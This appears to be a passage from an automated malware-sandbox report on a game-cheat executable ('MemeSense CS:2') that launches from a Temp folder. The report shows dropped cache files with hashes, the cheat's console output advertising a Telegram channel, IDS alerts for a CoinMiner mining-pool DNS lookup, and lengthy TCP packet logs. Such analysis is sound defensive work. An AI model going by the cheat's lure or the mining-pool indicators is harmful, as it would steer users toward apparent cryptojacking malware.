Preview:	.PNG........IHDR...\|...1.............sRGB...,.....pHYs.................IDATx...lOW..Q.3...c.y[....m1a6.=4..f..R....6l...5o..t.R.....-...o.R........9=......?..M>9.........m.H..x....M..w..$..3...7.c$l........B7o.A..af..an)...MNN^..... .n..e3.o...iIJMM....0.....Fqqqv=F...^.......b.V.kvAA.c.\G.....}.........cvRR.q.......I.....z..O....\|X.w.c....}.vC.v(..}..=.#...L..0[(..}...^........y..2.:..7.^...`..ZX........c+a.......]I...X....>\gM..3.?.......K.A.I.h.C...g..q..../L.BUV.I......p.I.a.PP..J0...h..4.....y...'8.R.q..G..S...#)..gR.....U.q.l..7..S....N....n.).].....z{../..!..2.Z"....y....-.\...C.......E..V..#k.....>'O...l6G.0@.C.....`..y....+3.-...<...]....g......X....{.5\.(..=.......'N.H`.}.45^.C..)..."..G....Y6^./...u......%.1#.*........O..oU... n`...Z....e<.=.i.....2....kr...e3..n......_.^.t^,.H..h..8\.t...6.........?.E......WTT.5.../...\|..#G..UL.....;.....i..W.B.w...Q.=..Ezz.ba...U....jv5...?N.....).........w...:u.<y..w.

Chrome Cache Entry: 379

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	152
Entropy (8bit):	4.530088457642253
Encrypted:	false
SSDEEP:	3:YVXKQJA68+QyVtRzXJwHIH0AHdiZnRULGETRESBVBB1bBu4VOAfZVUS++:Y9KQOAVtBXJyIH59wnyVRESjN46ZVUSX
MD5:	C49AFA8F04623CFEC525BC859E813E35
SHA1:	593FAA3C60688DEB7BF72656B1C0273E37402E81
SHA-256:	43BE1F3B5E2BE5BC2EE07257583D70E2C966361E6ACDECEA6EA88FAE38567BFC
SHA-512:	6B1AC877B41CA2461144A6DAD192F61063A5FD03297B4B9E2B956D0A78A9E5F59131CA76F8569A42B6D7DC25FE74FA916F833D06133DF76FACF070B7FB788A69
Malicious:	false
Reputation:	unknown
Preview:	{"profile_id":"895074641bda37c72ccfd778425ed87f","core_id":"1c1ed8664079a1e19841a9df9a4c185ca02cd50a547d0dda95db0ede67eb90a2","expiry_ts":1719047717014}

Chrome Cache Entry: 380

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	unknown
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 381

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 87a, 88 x 31
Category:	dropped
Size (bytes):	420
Entropy (8bit):	7.064845842586568
Encrypted:	false
SSDEEP:	6:Fs5LM7g6ECzNVjxYfTprB2D4xGNvxBNHzbXqX+ksqEgs8nRuxmhPzXA3O:a52gQpV1Yfn2QGN/NHXhlqJs2o+ce
MD5:	B21BCF83B50B0A88B25C29900BDE1F8E
SHA1:	885C766F01572EDAFA75A1C7807D7CAFC9C9D775
SHA-256:	D2F6DD15433E0F7965D60EE929D3CE6EA94389EA78904F1C677AE833EA73D4B4
SHA-512:	BFF937834BA3B920E9E6BA65971BCEF207D64F4A724BDADC84C1463C4F053020B1EF90A9621D806B294F2EB4364F855D3BCED5CB0E9D5B082D3B2540B13E9A32
Malicious:	false
Reputation:	unknown
Preview:	GIF87aX.........fff.............3..f.........................,....X........I..8..7.`(.di.hZJj.0....7..a..:JoW+..j...g.(.....Ak5..1.I.K&..)vLn..].6.d...~....l....~y..\|{......iM....x...z...............z.........AW......................................................u.........C.l.=h.(...pB0V....GO..z..f...?.Z.M,....f......Z05J.0'...8..i...,........g..b....k..y..S$b.j...jOJB...{..V.^..m...;

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\cli_gui.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	818
Entropy (8bit):	4.559670730434183
Encrypted:	false
SSDEEP:	24:HzPV43Fr3Fr3Fr3Fr3Fr3Fr3Fr3Fr3Fr3Fr3Fr3Fr3Fr3Fr3Fa:TPVV
MD5:	5DB3E18F5CE3335CECDE5B79B51E2624
SHA1:	1166973C539E032C0DCC48EA43D0DF3C58D88458
SHA-256:	695B0246A2A3778191FAC608EBBB8EDB132EAB279CCE3A4EB10B3AF57F49F172
SHA-512:	AEF6680449F5CEB153728D7231ED7565198B1410199434FBCD9E68AAF4F28AE671117969185AAC54D606DF0459FFE1172C7AF5D484F9224953359BE6BD8EF7C5
Malicious:	false
Reputation:	unknown
Preview:	[t.me/lpsopg: MemeSense CS:2] Press any key to Start!..[t.me/lpsopg] Waiting for Game, please start CS:2!..[t.me/lpsopg] Waiting for Game, please start CS:2!..[t.me/lpsopg] Waiting for Game, please start CS:2!..[t.me/lpsopg] Waiting for Game, please start CS:2!..[t.me/lpsopg] Waiting for Game, please start CS:2!..[t.me/lpsopg] Waiting for Game, please start CS:2!..[t.me/lpsopg] Waiting for Game, please start CS:2!..[t.me/lpsopg] Waiting for Game, please start CS:2!..[t.me/lpsopg] Waiting for Game, please start CS:2!..[t.me/lpsopg] Waiting for Game, please start CS:2!..[t.me/lpsopg] Waiting for Game, please start CS:2!..[t.me/lpsopg] Waiting for Game, please start CS:2!..[t.me/lpsopg] Waiting for Game, please start CS:2!..[t.me/lpsopg] Waiting for Game, please start CS:2!..[t.me/lpsopg] Waiting for Game, ple

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/15/24-11:17:12.026960	UDP	2036289	ET TROJAN CoinMiner Domain in DNS Lookup (pool .hashvault .pro)	61404	53	192.168.2.16	1.1.1.1
06/15/24-11:16:55.130154	UDP	2036289	ET TROJAN CoinMiner Domain in DNS Lookup (pool .hashvault .pro)	50741	53	192.168.2.16	1.1.1.1

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 15, 2024 11:14:49.136847973 CEST	49698	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:49.136892080 CEST	443	49698	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:49.136946917 CEST	49698	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:49.138499022 CEST	49698	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:49.138514042 CEST	443	49698	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:49.815129042 CEST	443	49698	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:49.815495014 CEST	49698	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:49.815512896 CEST	443	49698	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:49.817022085 CEST	443	49698	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:49.817118883 CEST	49698	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:49.819436073 CEST	49698	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:49.819505930 CEST	443	49698	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:49.819894075 CEST	49698	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:49.819904089 CEST	443	49698	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:49.866894007 CEST	49698	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:50.991575956 CEST	443	49698	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:50.991653919 CEST	443	49698	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:50.991674900 CEST	443	49698	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:50.991714954 CEST	443	49698	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:50.991753101 CEST	443	49698	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:50.991763115 CEST	49698	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:50.991792917 CEST	443	49698	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:50.991823912 CEST	49698	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:50.991856098 CEST	49698	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:50.991890907 CEST	49698	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:50.991898060 CEST	443	49698	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:50.991914988 CEST	443	49698	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:50.991993904 CEST	49698	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:50.992000103 CEST	443	49698	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:50.992074966 CEST	443	49698	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:50.992150068 CEST	49698	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:50.992554903 CEST	49698	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:50.992575884 CEST	443	49698	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.006958008 CEST	49700	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.007026911 CEST	443	49700	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.007122040 CEST	49700	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.007417917 CEST	49701	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.007472992 CEST	443	49701	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.007567883 CEST	49701	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.007891893 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.007913113 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.007980108 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.008102894 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.008137941 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.008194923 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.008272886 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.008286953 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.008335114 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.008472919 CEST	49705	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.008490086 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.008563995 CEST	49705	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.008779049 CEST	49700	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.008805037 CEST	443	49700	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.008934975 CEST	49701	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.008972883 CEST	443	49701	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.009083986 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.009113073 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.009187937 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.009207964 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.009320021 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.009331942 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.009474993 CEST	49705	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.009501934 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.014149904 CEST	49707	443	192.168.2.16	23.211.10.95
Jun 15, 2024 11:14:51.014240026 CEST	443	49707	23.211.10.95	192.168.2.16
Jun 15, 2024 11:14:51.014305115 CEST	49707	443	192.168.2.16	23.211.10.95
Jun 15, 2024 11:14:51.014421940 CEST	49707	443	192.168.2.16	23.211.10.95
Jun 15, 2024 11:14:51.014455080 CEST	443	49707	23.211.10.95	192.168.2.16
Jun 15, 2024 11:14:51.665576935 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.665946007 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.665988922 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.667431116 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.667519093 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.667998075 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.668080091 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.668395996 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.668406963 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.673719883 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.673994064 CEST	49705	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.674036026 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.674911022 CEST	443	49700	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.675127029 CEST	49700	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.675133944 CEST	443	49700	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.675189018 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.675266027 CEST	49705	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.675636053 CEST	443	49700	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.675681114 CEST	49705	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.675779104 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.676035881 CEST	49700	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.676193953 CEST	443	49700	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.676218033 CEST	49705	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.676234961 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.676274061 CEST	49700	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.676433086 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.676630020 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.676637888 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.677653074 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.677716017 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.678002119 CEST	443	49701	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.678045988 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.678102016 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.678261042 CEST	49701	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.678277016 CEST	443	49701	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.678379059 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.678386927 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.678590059 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.678739071 CEST	443	49701	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.678797007 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.678812981 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.679089069 CEST	49701	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.679177046 CEST	443	49701	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.679188013 CEST	49701	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.682358980 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.682444096 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.682791948 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.682892084 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.682904005 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.682948112 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.716506004 CEST	443	49700	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.716933966 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.717504978 CEST	49705	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.720508099 CEST	443	49701	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.732942104 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.733038902 CEST	49701	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.733040094 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.733114004 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.781033993 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.838469982 CEST	443	49701	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.838819981 CEST	443	49701	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.839021921 CEST	49701	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.839430094 CEST	49701	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.839473963 CEST	443	49701	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.839978933 CEST	49709	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.840013981 CEST	443	49709	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.840082884 CEST	49709	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.840579033 CEST	49709	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.840595007 CEST	443	49709	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.869827986 CEST	443	49707	23.211.10.95	192.168.2.16
Jun 15, 2024 11:14:51.870147943 CEST	49707	443	192.168.2.16	23.211.10.95
Jun 15, 2024 11:14:51.870214939 CEST	443	49707	23.211.10.95	192.168.2.16
Jun 15, 2024 11:14:51.871925116 CEST	443	49707	23.211.10.95	192.168.2.16
Jun 15, 2024 11:14:51.872009039 CEST	49707	443	192.168.2.16	23.211.10.95
Jun 15, 2024 11:14:51.873302937 CEST	49707	443	192.168.2.16	23.211.10.95
Jun 15, 2024 11:14:51.873399973 CEST	443	49707	23.211.10.95	192.168.2.16
Jun 15, 2024 11:14:51.873537064 CEST	49707	443	192.168.2.16	23.211.10.95
Jun 15, 2024 11:14:51.873554945 CEST	443	49707	23.211.10.95	192.168.2.16
Jun 15, 2024 11:14:51.924912930 CEST	49707	443	192.168.2.16	23.211.10.95
Jun 15, 2024 11:14:51.932092905 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.932126045 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.932137012 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.932154894 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.932188988 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.932194948 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.932219028 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.932241917 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.932260036 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.940524101 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.940546036 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.940601110 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.940610886 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.940643072 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.940663099 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.945422888 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.945441961 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.945449114 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.945497990 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.945506096 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.945516109 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.945549965 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.945554972 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.945573092 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.945602894 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.946562052 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.946588039 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.946595907 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.946611881 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.946666956 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.946752071 CEST	49705	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.946752071 CEST	49705	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.946752071 CEST	49705	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.946830034 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.946909904 CEST	49705	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.948466063 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.948553085 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.948574066 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.948591948 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.948622942 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.948632002 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.948648930 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.948652029 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.948683977 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.948690891 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.948714018 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.948735952 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.952980042 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.952997923 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.953087091 CEST	49705	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.953105927 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.953177929 CEST	49705	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.953301907 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.953320980 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.953375101 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.953383923 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.953423023 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.958005905 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.958046913 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.958097935 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.958118916 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:51.958146095 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:51.958164930 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.047269106 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.047292948 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.047377110 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.047391891 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.047430038 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.054830074 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.054886103 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.054918051 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.054929972 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.054951906 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.054968119 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.056617022 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.056638002 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.056696892 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.056705952 CEST	443	49703	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.056749105 CEST	49703	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.062257051 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.062274933 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.062370062 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.062377930 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.062433004 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.063143015 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.063208103 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.063249111 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.063381910 CEST	49705	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.063381910 CEST	49705	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.063560963 CEST	49705	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.063606024 CEST	443	49705	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.063935995 CEST	49710	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.063971996 CEST	443	49710	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.064037085 CEST	49710	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.064589024 CEST	49710	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.064601898 CEST	443	49710	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.068952084 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.068968058 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.069474936 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.069483995 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.069534063 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.070841074 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.070857048 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.070931911 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.070939064 CEST	443	49704	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.070985079 CEST	49704	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.072623014 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.072669983 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.072715998 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.072741032 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.072757959 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.072792053 CEST	49702	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:52.073833942 CEST	443	49702	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:52.073877096 CEST	443	49702	185.178.208.137	192.168.2.16
